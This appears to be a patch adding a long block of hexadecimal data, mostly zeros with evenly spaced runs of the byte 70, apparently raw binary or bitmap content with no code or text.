+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 